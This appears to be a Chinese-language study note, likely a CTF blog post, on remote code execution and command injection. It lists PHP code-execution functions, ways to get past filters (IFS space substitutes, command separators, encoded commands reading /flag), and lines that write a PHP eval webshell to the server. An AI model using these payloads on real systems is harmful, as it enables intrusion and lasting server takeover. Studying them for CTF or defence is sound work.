Rce学习笔记

先让我们了解一下什么是rce

           RCE英文全称:remote command/code execute

           常见的rce在web页面的一个ping命令输入口 通过此入口可以访问并获取远程主机的文件完成控制后台系统

此处引用cdsn上的一句话

           “命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行”

代码执行

常见的代码执行方式有下面几类

           ${}执行代码

           Eval         / / 函数可计算某个字符串,并执行其中的的 JavaScript 代码。

           assert

           preg_replace

           create_function()

           array_map()

           call_user_func()/call_user_func_array()

           array_filter()

           usort(),uasort()

参考:https://blog.csdn.net/JBlock/article/details/88311388

 

命令注入

过滤空格

           在bash下,可以用以下字符代替空格

           < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、\$IFS\$9等

           $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令分隔符

           linux中:%0a 、%0d 、; 、& 、| 、&&、||

           windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

           ; 在 shell 中,担任”连续指令”功能的符号就是”分号”。命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。

           & 简单拼接 无制约

           && 前面执行成功后面才会执行

           | 符号 左边输出 作为右边输入,所以左边的输出并不显示。当第一条命令失败时,它仍然会执行第二条命令

           || 前面执行失败才会执行后面

敏感字符过滤绕过

           过滤ls、cat、flag等

           利用变量绕过

           a=l;b=s;$a$b

           编码绕过

base

           root@kali:~# echo ‘cat’ | base64

           Y2F0Cg==

           root@kali:~# `echo ‘fGxzCg==’ | base64 -d` test.txt

           hello world!

           root@kali:~#

hex:

           echo “636174202F666C61675F69735F68657265” | xxd -r -p|bash ==>cat /flag

oct :

           $(printf “\154\163”) ==>ls

           $(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) ==>cat /flag

           {printf,”\x63\x61\x74\x20\x2f\x66\x6c\x61\x67″}|\$0 ==>cat /flag

           #可以通过这样来写webshell,内容为<?php @eval($_POST[‘c’]);?>

           ${printf,”\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76″} >> 1.php

反斜杠

           ca\t fl\ag

未定义的初始化变量 $x

           cat$x flag.txt

           连接符

           ca”t fla”g.txt

小技巧

           linux下创建文件的命令可以用1>1创建文件名为1的空文件

           ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

ip地址过滤

           可将ip地址转化为数字ip地址

           IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字。

                  比如:百度的IP地址“119.75.218.77”转换成数字地址就是“2001459789”。在浏览器中输入2001459789就可以访问百度网站

           转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

 

${}执行代码

${phpinfo()};

ca$@t fla$@g

还发现可以上传一句话木马来获得webshell

;echo “<?php eval(@@\$_POST[a]);?>” > 4.php

 

 

 

参考:http://www.manongjc.com/detail/15-wshqofhwdzdevmo.html

参考:https://blog.csdn.net/JBlock/article/details/88311388

发表评论

邮箱地址不会被公开。 必填项已用*标注